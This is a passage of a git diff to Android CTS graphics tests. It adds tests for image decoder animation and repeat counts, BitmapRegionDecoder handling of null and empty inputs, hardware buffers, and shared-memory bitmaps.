@@ -592,6 +620,17 @@
         }
     }
 
+    private static Object[] getExifsSample() {
+        return Utils.crossProduct(getExifImages(), new Object[] { 2, 3, 4, 8, 16 });
+    }
+
+    @Test
+    @Parameters(method = "getExifsSample")
+    public void testComputeSampledSizeExif(int resId, int sampleSize)
+            throws IOException {
+        testComputeSampledSizeInternal(resId, sampleSize);
+    }
+
     private Bitmap decodeScaled(String name, ImageDecoder.Source src) {
         try {
             return ImageDecoder.decodeBitmap(src, (decoder, info, source) -> {
@@ -751,6 +790,20 @@
         }
     }
 
+    private static Bitmap decodeCropped(String name, Cropper cropper, int resId) {
+        // This test relies on ImageDecoder *not* scaling to account for density.
+        // Temporarily change the DisplayMetrics to prevent that scaling.
+        Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
+        try {
+            res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_DEFAULT;
+            ImageDecoder.Source src = ImageDecoder.createSource(res, resId);
+            return decodeCropped(name, cropper, src);
+        } finally {
+            res.getDisplayMetrics().densityDpi = originalDensity;
+        }
+    }
+
     @Test
     @Parameters(method = "getAssetRecords")
     public void testCrop(ImageDecoderTest.AssetRecord record) {
@@ -771,11 +824,9 @@
     @Parameters(method = "getRecords")
     public void testCropResource(ImageDecoderTest.Record record)
             throws IOException {
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
         String name = Utils.getAsResourceUri(record.resId).toString();
         Cropper cropper = new Cropper(false /* scale */);
-        Bitmap bm = decodeCropped(name, cropper, src);
+        Bitmap bm = decodeCropped(name, cropper, record.resId);
         assertNotNull(bm);
 
         try (ParcelFileDescriptor pfd = open(record.resId)) {
@@ -859,6 +910,20 @@
         assertEquals(100, bm.getWidth());
         assertEquals(80,  bm.getHeight());
 
+        // First verify that the info (and in particular, the width and height)
+        // are correct. This uses a separate ParcelFileDescriptor/aimagedecoder
+        // because the native methods delete the aimagedecoder.
+        try (ParcelFileDescriptor pfd = open(resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            String mimeType = uri.toString().contains("webp") ? "image/webp" : "image/jpeg";
+            nTestInfo(aimagedecoder, 100, 80, mimeType, false,
+                    DataSpace.fromColorSpace(bm.getColorSpace()));
+        } catch (FileNotFoundException e) {
+            e.printStackTrace();
+            fail("Could not open " + uri + " to check info");
+        }
+
         try (ParcelFileDescriptor pfd = open(resId)) {
             long aimagedecoder = nCreateFromFd(pfd.getFd());
 
@@ -1028,6 +1093,78 @@
         nCloseAsset(asset);
     }
 
+    @Test
+    @Parameters(method = "getAssetRecords")
+    public void testNotAnimatedAssets(ImageDecoderTest.AssetRecord record) {
+        long asset = nOpenAsset(getAssetManager(), record.name);
+        long aimagedecoder = nCreateFromAsset(asset);
+
+        nTestIsAnimated(aimagedecoder, false);
+        nCloseAsset(asset);
+    }
+
+    @Test
+    @Parameters(method = "getRecords")
+    public void testNotAnimated(ImageDecoderTest.Record record) throws IOException {
+        try (ParcelFileDescriptor pfd = open(record.resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            nTestIsAnimated(aimagedecoder, false);
+        } catch (FileNotFoundException e) {
+            fail("Could not open " + Utils.getAsResourceUri(record.resId));
+        }
+    }
+
+    private static Object[] getAnimatedImagesPlusRepeatCounts() {
+        return AnimatedImageDrawableTest.parametersForTestEncodedRepeats();
+    }
+
+    // Although these images have an encoded repeat count, they have only one frame,
+    // so they are not considered animated.
+    @Test
+    @Parameters({"still_with_loop_count.gif", "webp_still_with_loop_count.webp"})
+    public void testStill(String name) {
+        long asset = nOpenAsset(getAssetManager(), name);
+        long aimagedecoder = nCreateFromAsset(asset);
+
+        nTestIsAnimated(aimagedecoder, false);
+        nCloseAsset(asset);
+    }
+
+    @Test
+    @Parameters(method = "getAnimatedImagesPlusRepeatCounts")
+    public void testAnimated(int resId, int unused) throws IOException {
+        try (ParcelFileDescriptor pfd = open(resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            nTestIsAnimated(aimagedecoder, true);
+        } catch (FileNotFoundException e) {
+            fail("Could not open " + Utils.getAsResourceUri(resId));
+        }
+    }
+
+    @Test
+    @Parameters(method = "getAnimatedImagesPlusRepeatCounts")
+    public void testRepeatCount(int resId, int repeatCount) throws IOException {
+        try (ParcelFileDescriptor pfd = open(resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            nTestRepeatCount(aimagedecoder, repeatCount);
+        } catch (FileNotFoundException e) {
+            fail("Could not open " + Utils.getAsResourceUri(resId));
+        }
+    }
+
+    @Test
+    @Parameters({"still_with_loop_count.gif, 1", "webp_still_with_loop_count.webp,31999"})
+    public void testRepeatCountStill(String name, int repeatCount) {
+        long asset = nOpenAsset(getAssetManager(), name);
+        long aimagedecoder = nCreateFromAsset(asset);
+
+        nTestRepeatCount(aimagedecoder, repeatCount);
+        nCloseAsset(asset);
+    }
+
     // Return a pointer to the native AAsset named |file|. Must be closed with nCloseAsset.
     // Throws an Exception on failure.
     private static native long nOpenAsset(AssetManager assets, String file);
@@ -1070,4 +1207,6 @@
             int cropLeft, int cropTop, int cropRight, int cropBottom);
     private static native void nTestScalePlusUnpremul(long aimagedecoder);
     private static native void nTestDecode(long aimagedecoder, Bitmap bm, int dataSpace);
+    private static native void nTestIsAnimated(long aimagedecoder, boolean animated);
+    private static native void nTestRepeatCount(long aimagedecoder, int repeatCount);
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index 55a7ac1..8766d87 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -51,6 +52,8 @@
 import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileDescriptor;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -149,7 +152,7 @@
             InputStream is = obtainInputStream(RES_IDS[i]);
             try {
                 BitmapRegionDecoder decoder =
-                        BitmapRegionDecoder.newInstance(is, false);
+                        BitmapRegionDecoder.newInstance(is);
                 assertEquals(WIDTHS[i], decoder.getWidth());
                 assertEquals(HEIGHTS[i], decoder.getHeight());
             } catch (IOException e) {
@@ -169,7 +172,7 @@
             byte[] imageData = obtainByteArray(RES_IDS[i]);
             try {
                 BitmapRegionDecoder decoder = BitmapRegionDecoder
-                        .newInstance(imageData, 0, imageData.length, false);
+                        .newInstance(imageData, 0, imageData.length);
                 assertEquals(WIDTHS[i], decoder.getWidth());
                 assertEquals(HEIGHTS[i], decoder.getHeight());
             } catch (IOException e) {
@@ -184,15 +187,14 @@
         for (int i = 0; i < RES_IDS.length; ++i) {
             String filepath = obtainPath(i);
             ParcelFileDescriptor pfd = obtainParcelDescriptor(filepath);
-            FileDescriptor fd = pfd.getFileDescriptor();
             try {
                 BitmapRegionDecoder decoder1 =
-                        BitmapRegionDecoder.newInstance(filepath, false);
+                        BitmapRegionDecoder.newInstance(filepath);
                 assertEquals(WIDTHS[i], decoder1.getWidth());
                 assertEquals(HEIGHTS[i], decoder1.getHeight());
 
                 BitmapRegionDecoder decoder2 =
-                        BitmapRegionDecoder.newInstance(fd, false);
+                        BitmapRegionDecoder.newInstance(pfd);
                 assertEquals(WIDTHS[i], decoder2.getWidth());
                 assertEquals(HEIGHTS[i], decoder2.getHeight());
             } catch (IOException e) {
@@ -213,7 +215,7 @@
                     opts.inPreferredConfig = COLOR_CONFIGS[k];
 
                     InputStream is1 = obtainInputStream(RES_IDS[i]);
-                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                     InputStream is2 = obtainInputStream(RES_IDS[i]);
                     Bitmap wholeImage = BitmapFactory.decodeStream(is2, null, opts);
 
@@ -241,7 +243,7 @@
                     opts.inBitmap = null;
 
                     InputStream is1 = obtainInputStream(RES_IDS[i]);
-                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                     InputStream is2 = obtainInputStream(RES_IDS[i]);
                     Bitmap wholeImage = BitmapFactory.decodeStream(is2, null, opts);
 
@@ -273,7 +275,7 @@
 
                     byte[] imageData = obtainByteArray(RES_IDS[i]);
                     BitmapRegionDecoder decoder = BitmapRegionDecoder
-                            .newInstance(imageData, 0, imageData.length, false);
+                            .newInstance(imageData, 0, imageData.length);
                     Bitmap wholeImage = BitmapFactory.decodeByteArray(imageData,
                             0, imageData.length, opts);
 
@@ -300,8 +302,7 @@
                     opts.inSampleSize = SAMPLESIZES[j];
                     opts.inPreferredConfig = COLOR_CONFIGS[k];
 
-                    BitmapRegionDecoder decoder =
-                        BitmapRegionDecoder.newInstance(filepath, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(filepath);
                     Bitmap wholeImage = BitmapFactory.decodeFile(filepath, opts);
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
                         compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
@@ -311,10 +312,7 @@
                     }
 
                     ParcelFileDescriptor pfd1 = obtainParcelDescriptor(filepath);
-                    FileDescriptor fd1 = pfd1.getFileDescriptor();
-                    decoder = BitmapRegionDecoder.newInstance(fd1, false);
-                    ParcelFileDescriptor pfd2 = obtainParcelDescriptor(filepath);
-                    FileDescriptor fd2 = pfd2.getFileDescriptor();
+                    decoder = BitmapRegionDecoder.newInstance(pfd1);
                     if (RES_IDS[i] == R.drawable.webp_test && COLOR_CONFIGS[k] == Config.RGB_565) {
                         compareRegionByRegion(decoder, opts, MSE_MARGIN_WEB_P_CONFIG_RGB_565,
                                               wholeImage);
@@ -330,7 +328,7 @@
     @Test
     public void testRecycle() throws IOException {
         InputStream is = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         decoder.recycle();
         assertTrue(decoder.isRecycled());
         try {
@@ -371,7 +369,7 @@
 
         for (int i = 0; i < NUM_TEST_IMAGES; i++) {
             InputStream is = obtainInputStream(RES_IDS[i]);
-            BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+            BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
             for (int j = 0; j < SAMPLESIZES.length; j++) {
                 int sampleSize = SAMPLESIZES[j];
                 defaultOpts.inSampleSize = sampleSize;
@@ -439,7 +437,7 @@
         BitmapFactory.Options options = new BitmapFactory.Options();
         options.inPreferredConfig = Bitmap.Config.HARDWARE;
         InputStream is = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         Bitmap hardwareBitmap = decoder.decodeRegion(new Rect(0, 0, 10, 10), options);
         assertNotNull(hardwareBitmap);
         // Test that checks that correct bitmap was obtained is in uirendering/HardwareBitmapTests
@@ -456,7 +454,7 @@
                     opts.inPreferredConfig = COLOR_CONFIGS[k];
 
                     InputStream is1 = obtainInputStream(RES_IDS[i]);
-                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                     Bitmap region = decoder.decodeRegion(
                             new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
                     decoder.recycle();
@@ -479,7 +477,7 @@
 
                     String assetName = ASSET_NAMES[i];
                     InputStream is1 = obtainInputStream(assetName);
-                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                    BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                     Bitmap region = decoder.decodeRegion(
                             new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
                     decoder.recycle();
@@ -503,7 +501,7 @@
 
         // sRGB
         BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(
-                obtainInputStream(ASSET_NAMES[3]), false);
+                obtainInputStream(ASSET_NAMES[3]));
         Bitmap region = decoder.decodeRegion(
                 new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
         decoder.recycle();
@@ -511,7 +509,7 @@
         assertEquals(ColorSpace.get(ColorSpace.Named.SRGB), region.getColorSpace());
 
         // DisplayP3
-        decoder = BitmapRegionDecoder.newInstance(obtainInputStream(ASSET_NAMES[1]), false);
+        decoder = BitmapRegionDecoder.newInstance(obtainInputStream(ASSET_NAMES[1]));
         region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
         decoder.recycle();
 
@@ -527,7 +525,7 @@
                 opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.DISPLAY_P3);
 
                 InputStream is1 = obtainInputStream(RES_IDS[i]);
-                BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+                BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
                 Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
                 decoder.recycle();
 
@@ -544,7 +542,7 @@
         opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.ADOBE_RGB);
 
         InputStream is1 = obtainInputStream(ASSET_NAMES[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
         decoder.recycle();
 
@@ -559,7 +557,7 @@
         opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.ADOBE_RGB);
 
         InputStream is1 = obtainInputStream(ASSET_NAMES[1]); // Display P3
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, SMALL_TILE_SIZE, SMALL_TILE_SIZE), opts);
         decoder.recycle();
 
@@ -572,7 +570,7 @@
         // This image normally decodes to F16, but if there is an inBitmap,
         // decoding will match the Config of that Bitmap.
         InputStream is = obtainInputStream(ASSET_NAMES[0]); // F16
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
 
         Options opts = new BitmapFactory.Options();
         for (Bitmap.Config config : new Bitmap.Config[] {
@@ -599,7 +597,7 @@
         Options opts = new BitmapFactory.Options();
         opts.inPreferredColorSpace = ColorSpace.get(ColorSpace.Named.CIE_LAB);
         InputStream is1 = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
     }
 
@@ -612,7 +610,7 @@
                 x -> Math.pow(x, 1.0f / 2.2f), x -> Math.pow(x, 2.2f),
                 0, 1);
         InputStream is1 = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is1);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
     }
 
@@ -623,7 +621,7 @@
                 .copy(Config.HARDWARE, false);
         opts.inBitmap = bitmap;
         InputStream is = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
     }
 
@@ -635,7 +633,7 @@
 
         opts.inBitmap = bitmap;
         InputStream is = obtainInputStream(RES_IDS[0]);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         assertThrows(IllegalArgumentException.class, () -> {
             decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
         });
@@ -648,7 +646,7 @@
             return;
         }
         InputStream is = obtainInputStream(R.raw.heifwriter_input);
-        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), null);
         assertNotNull(region);
 
@@ -658,6 +656,120 @@
         assertNotNull(full);
     }
 
+    @Test(expected = NullPointerException.class)
+    public void testNullParcelFileDescriptor() throws IOException {
+        ParcelFileDescriptor pfd = null;
+        BitmapRegionDecoder.newInstance(pfd);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullFileDescriptor() throws IOException {
+        FileDescriptor fd = null;
+        BitmapRegionDecoder.newInstance(fd, false);
+    }
+
+    @Test
+    public void testNullInputStream() throws IOException {
+        InputStream is = null;
+        assertNull(BitmapRegionDecoder.newInstance(is));
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullPathName() throws IOException {
+        String pathName = null;
+        BitmapRegionDecoder.newInstance(pathName);
+    }
+
+    @Test(expected = IOException.class)
+    public void testEmptyPathName() throws IOException {
+        String pathName = "";
+        BitmapRegionDecoder.newInstance(pathName);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullByteArray() throws IOException {
+        byte[] data = null;
+        BitmapRegionDecoder.newInstance(data, 0, 0);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testNegativeOffset() throws IOException {
+        byte[] data = new byte[10];
+        BitmapRegionDecoder.newInstance(data, -1, 10);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testNegativeLength() throws IOException {
+        byte[] data = new byte[10];
+        BitmapRegionDecoder.newInstance(data, 0, -10);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testTooLong() throws IOException {
+        byte[] data = new byte[10];
+        BitmapRegionDecoder.newInstance(data, 1, 10);
+    }
+
+    @Test(expected = IOException.class)
+    public void testEmptyByteArray() throws IOException {
+        byte[] data = new byte[0];
+        BitmapRegionDecoder.newInstance(data, 0, 0);
+    }
+
+    @Test(expected = IOException.class)
+    public void testEmptyInputStream() throws IOException {
+        InputStream is = new InputStream() {
+            @Override
+            public int read() {
+                return -1;
+            }
+        };
+        BitmapRegionDecoder.newInstance(is);
+    }
+
+    private static File createEmptyFile() throws IOException {
+        File dir = InstrumentationRegistry.getTargetContext().getFilesDir();
+        dir.mkdirs();
+        return File.createTempFile("emptyFile", "tmp", dir);
+    }
+
+    @Test
+    public void testEmptyFile() throws IOException {
+        File file = createEmptyFile();
+        String pathName = file.getAbsolutePath();
+        assertThrows(IOException.class, () -> {
+            BitmapRegionDecoder.newInstance(pathName);
+        });
+        file.delete();
+    }
+
+    @Test
+    public void testEmptyFileDescriptor() throws IOException {
+        File file = createEmptyFile();
+        FileInputStream fileStream = new FileInputStream(file);
+        FileDescriptor fd = fileStream.getFD();
+        assertThrows(IOException.class, () -> {
+            BitmapRegionDecoder.newInstance(fd, false);
+        });
+        file.delete();
+    }
+
+    @Test
+    public void testEmptyParcelFileDescriptor() throws IOException, FileNotFoundException {
+        File file = createEmptyFile();
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+        assertThrows(IOException.class, () -> {
+            BitmapRegionDecoder.newInstance(pfd);
+        });
+        file.delete();
+    }
+
+    @Test(expected = IOException.class)
+    public void testInvalidFileDescriptor() throws IOException {
+        BitmapRegionDecoder.newInstance(new FileDescriptor(), false);
+    }
+
     private void compareRegionByRegion(BitmapRegionDecoder decoder,
             Options opts, int mseMargin, Bitmap wholeImage) {
         int width = decoder.getWidth();
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index 0433205..f9ba150 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -68,6 +68,7 @@
 import java.nio.ShortBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashSet;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -675,6 +676,103 @@
         }
     }
 
+    private void assertMatches(HardwareBuffer hwBuffer, HardwareBuffer hwBuffer2) {
+        assertEquals(hwBuffer, hwBuffer2);
+        assertEquals(hwBuffer.hashCode(), hwBuffer2.hashCode());
+        assertEquals(hwBuffer.getWidth(), hwBuffer2.getWidth());
+        assertEquals(hwBuffer.getHeight(), hwBuffer2.getHeight());
+        assertEquals(hwBuffer.getFormat(), hwBuffer2.getFormat());
+        assertEquals(hwBuffer.getLayers(), hwBuffer2.getLayers());
+        assertEquals(hwBuffer.getUsage(), hwBuffer2.getUsage());
+    }
+
+    @Test
+    public void testGetHardwareBufferMatchesWrapped() {
+        try (HardwareBuffer hwBuffer = createTestBuffer(128, 128, false)) {
+            Bitmap bitmap = Bitmap.wrapHardwareBuffer(hwBuffer, ColorSpace.get(Named.SRGB));
+            assertNotNull(bitmap);
+
+            try (HardwareBuffer hwBuffer2 = bitmap.getHardwareBuffer()) {
+                assertNotNull(hwBuffer2);
+                assertMatches(hwBuffer, hwBuffer2);
+            }
+            bitmap.recycle();
+        }
+    }
+
+    private static Object[] parametersFor_testGetHardwareBufferConfig() {
+        return new Object[] {Config.ARGB_8888, Config.RGBA_F16, Config.RGB_565};
+    }
+
+    @Test
+    @Parameters(method = "parametersFor_testGetHardwareBufferConfig")
+    public void testGetHardwareBufferConfig(Config config) {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, config);
+        bitmap = bitmap.copy(Config.HARDWARE, false);
+        if (bitmap == null) {
+            fail("Failed to copy to HARDWARE with Config " + config);
+        }
+        try (HardwareBuffer hwBuffer = bitmap.getHardwareBuffer()) {
+            assertNotNull(hwBuffer);
+            assertEquals(hwBuffer.getWidth(), 10);
+            assertEquals(hwBuffer.getHeight(), 10);
+        }
+    }
+
+    @Test
+    public void testGetHardwareBufferTwice() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap = bitmap.copy(Config.HARDWARE, false);
+        try (HardwareBuffer hwBuffer = bitmap.getHardwareBuffer()) {
+            assertNotNull(hwBuffer);
+            try (HardwareBuffer hwBuffer2 = bitmap.getHardwareBuffer()) {
+                assertNotNull(hwBuffer2);
+                assertMatches(hwBuffer, hwBuffer2);
+            }
+        }
+    }
+
+    @Test
+    public void testGetHardwareBufferMatches() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap = bitmap.copy(Config.HARDWARE, false);
+        try (HardwareBuffer hwBuffer = bitmap.getHardwareBuffer()) {
+            HashSet<HardwareBuffer> set = new HashSet<HardwareBuffer>();
+            set.add(hwBuffer);
+            assertTrue(set.contains(bitmap.getHardwareBuffer()));
+        }
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testGetHardwareBufferNonHardware() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap.getHardwareBuffer();
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testGetHardwareBufferRecycled() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap = bitmap.copy(Config.HARDWARE, false);
+        bitmap.recycle();
+        bitmap.getHardwareBuffer();
+    }
+
+    @Test
+    public void testGetHardwareBufferClosed() {
+        HardwareBuffer hwBuffer = createTestBuffer(128, 128, false);
+        Bitmap bitmap = Bitmap.wrapHardwareBuffer(hwBuffer, ColorSpace.get(Named.SRGB));
+        assertNotNull(bitmap);
+
+        hwBuffer.close();
+
+        try (HardwareBuffer hwBuffer2 = bitmap.getHardwareBuffer()) {
+            assertNotNull(hwBuffer2);
+            assertFalse(hwBuffer2.isClosed());
+            assertNotEquals(hwBuffer, hwBuffer2);
+        }
+        bitmap.recycle();
+    }
+
     @Test
     public void testGenerationId() {
         Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
@@ -2301,6 +2399,108 @@
         }
     }
 
+    private static byte[] compressToPng(Bitmap bitmap) {
+        try (ByteArrayOutputStream stream = new ByteArrayOutputStream()) {
+            assertTrue("Failed to encode a Bitmap with Config " + bitmap.getConfig()
+                    + " and ColorSpace " + bitmap.getColorSpace() + "!",
+                    bitmap.compress(CompressFormat.PNG, 100, stream));
+            return stream.toByteArray();
+        } catch (IOException e) {
+            fail("Failed to compress with " + e);
+            return null;
+        }
+    }
+
+    private static Object[] parametersForTestAsShared() {
+        return Utils.crossProduct(Config.values(), getRgbColorSpaces().toArray(new Object[0]));
+    }
+
+    @Test
+    @Parameters(method = "parametersForTestAsShared")
+    public void testAsShared(Config config, ColorSpace colorSpace) {
+        Bitmap original = Bitmap.createBitmap(10, 10,
+                config == Config.HARDWARE ? Config.ARGB_8888 : config, true /*hasAlpha*/,
+                colorSpace);
+        drawGradient(original);
+
+        if (config == Config.HARDWARE) {
+            original = original.copy(Config.HARDWARE, false /*mutable*/);
+        }
+
+        // There's no visible way to test that the memory is allocated in shared memory, but we can
+        // verify that the Bitmaps look the same.
+        Bitmap shared = original.asShared();
+        assertNotNull(shared);
+
+        if (config == Config.HARDWARE) {
+            int expectedFormat = nGetFormat(original);
+            assertEquals(expectedFormat, configToFormat(shared.getConfig()));
+
+            // There's no public way to look at the pixels in the HARDWARE Bitmap, but if we
+            // compress each as a lossless PNG, they should look identical.
+            byte[] origBytes = compressToPng(original);
+            byte[] sharedBytes = compressToPng(shared);
+            assertTrue(Arrays.equals(origBytes, sharedBytes));
+        } else {
+            assertSame(original.getConfig(), shared.getConfig());
+            assertTrue(shared.sameAs(original));
+        }
+        assertSame(original.getColorSpace(), shared.getColorSpace());
+
+        // The Bitmap is already in shared memory, so no work is done.
+        Bitmap shared2 = shared.asShared();
+        assertSame(shared, shared2);
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testAsSharedRecycled() {
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        bitmap.recycle();
+        bitmap.asShared();
+    }
+
+    @Test
+    public void testAsSharedDensity() {
+        DisplayMetrics metrics =
+                InstrumentationRegistry.getTargetContext().getResources().getDisplayMetrics();
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        for (int density : new int[] { Bitmap.DENSITY_NONE, metrics.densityDpi,
+                DisplayMetrics.DENSITY_HIGH, DisplayMetrics.DENSITY_DEVICE_STABLE,
+                DisplayMetrics.DENSITY_MEDIUM }) {
+            bitmap.setDensity(density);
+            Bitmap shared = bitmap.asShared();
+            assertEquals(density, shared.getDensity());
+            shared.recycle();
+        }
+    }
+
+    @Test
+    @Parameters({"true", "false"})
+    public void testAsSharedImageDecoder(boolean mutable) {
+        Resources res = InstrumentationRegistry.getTargetContext().getResources();
+        ImageDecoder.Source source = ImageDecoder.createSource(res.getAssets(),
+                "grayscale-16bit-linearSrgb.png");
+        try {
+            Bitmap bitmap = ImageDecoder.decodeBitmap(source, (decoder, info, s) -> {
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SHARED_MEMORY);
+                if (mutable) decoder.setMutableRequired(true);
+            });
+
+            Bitmap shared = bitmap.asShared();
+            if (mutable) {
+                // bitmap is mutable, so asShared must make a copy.
+                assertNotEquals(bitmap, shared);
+                assertTrue(bitmap.sameAs(shared));
+            } else {
+                // bitmap is already immutable and in shared memory, so asShared will return
+                // itself.
+                assertSame(bitmap, shared);
+            }
+        } catch (IOException e) {
+            fail("Failed to decode with " + e);
+        }
+    }
+
     @Test
     public void testNdkFormats() {
         for (ConfigToFormat pair : CONFIG_TO_FORMAT) {
@@ -2565,6 +2765,24 @@
                 || cs == ColorSpace.get(Named.LINEAR_EXTENDED_SRGB);
     }
 
+    // Helper method for populating a Bitmap with interesting pixels for comparison.
+    private static void drawGradient(Bitmap bitmap) {
+        // Use different colors and alphas.
+        Canvas canvas = new Canvas(bitmap);
+        ColorSpace cs = bitmap.getColorSpace();
+        if (cs == null) {
+            assertSame(Config.ALPHA_8, bitmap.getConfig());
+            cs = ColorSpace.get(ColorSpace.Named.SRGB);
+        }
+        long color0 = Color.pack(0, 0, 1, 1, cs);
+        long color1 = Color.pack(1, 0, 0, 0, cs);
+        LinearGradient gradient = new LinearGradient(0, 0, 10, 10, color0, color1,
+                Shader.TileMode.CLAMP);
+        Paint paint = new Paint();
+        paint.setShader(gradient);
+        canvas.drawPaint(paint);
+    }
+
     @Test
     @Parameters(method = "parametersForNdkCompress")
     public void testNdkCompress(CompressFormat format, ColorSpace cs, Config config)
@@ -2574,15 +2792,7 @@
         assertNotNull(bitmap);
 
         {
-            // Use different colors and alphas.
-            Canvas canvas = new Canvas(bitmap);
